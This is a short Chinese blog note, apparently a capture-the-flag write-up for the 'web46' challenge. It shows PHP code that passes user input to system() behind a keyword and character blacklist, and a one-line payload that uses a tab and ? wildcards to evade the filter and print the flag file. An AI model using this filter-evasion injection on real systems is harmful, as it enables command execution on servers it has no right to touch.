web46笔记(+过滤数字 $ *)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上⾯的基础上过滤了数字 $ *

换⼀下通配符即可

?c=tac%09fla?.???||ls

posted @ 2025-03-14 23:30  justdoIT*  阅读(9)  评论(0)    收藏  举报